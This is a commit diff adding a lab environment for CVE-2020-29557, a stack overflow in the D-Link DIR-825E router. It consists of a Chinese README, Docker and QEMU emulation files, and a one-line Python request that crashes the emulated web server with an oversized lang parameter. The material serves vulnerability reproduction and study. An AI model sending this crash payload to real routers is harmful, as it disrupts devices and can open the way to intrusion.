ADD CVE-2020-29557

D-Link/CVE-2020-29557/README.md

@@ -0,0 +1,24 @@
+# D-Link DIR-825E 栈溢出漏洞
+
+
+## 用户级模拟 - 快速验证
+
+手动构建：
+
+```sh
+docker-compose up -d --build
+```
+
+![](./images/index.png)
+
+## 漏洞复现
+
+```sh
+python3 -c "__import__('requests').get('http://localhost:8888/check_browser?lang=%s'%('A'*0x200))"
+```
+
+![](./images/crash.png)
+
+## 参考链接
+
+- https://shaqed.github.io/dlink/

D-Link/CVE-2020-29557/docker-compose.yml

@@ -0,0 +1,11 @@
+version: "3"
+
+services:
+    user-emu:
+        container_name: cve2020_29557
+        build:
+          context: .
+          dockerfile: ./user-emu/Dockerfile
+        privileged: true
+        ports:
+          - "8888:80"

D-Link/CVE-2020-29557/user-emu/Dockerfile

@@ -0,0 +1,12 @@
+FROM firmianay/qemu-user-static
+LABEL Author="[email protected]"
+
+WORKDIR /root
+
+# 复制固件
+ADD ./firmware/*.tar .
+RUN cp /usr/bin/qemu-mipsel-static ./squashfs-root
+
+COPY ./user-emu/run.sh /root/run.sh
+RUN chmod +x /root/run.sh
+CMD [ "/bin/sh", "-c", "/root/run.sh" ]

D-Link/CVE-2020-29557/user-emu/run.sh

@@ -0,0 +1,6 @@
+#!/bin/bash
+
+cd /root/squashfs-root
+chroot . ./qemu-mipsel-static anweb -D
+
+while true; do sleep 100; done

vuln_list.md

@@ -24,6 +24,7 @@
 
 - [D-Link DIR-859 命令注入漏洞（CVE-2019-17621）](https://github.com/firmianay/IoT-vulhub/tree/master/D-Link/CVE-2019-17621)
 - [D-Link DIR-842 路由器缓冲区溢出漏洞（CVE-2020-8962）](https://github.com/firmianay/IoT-vulhub/tree/master/D-Link/CVE-2020-8962)
+- [D-Link DIR-825 栈溢出漏洞（CVE-2020-29557）](https://github.com/firmianay/IoT-vulhub/tree/master/D-Link/CVE-2020-29557)
 
 ## Tenda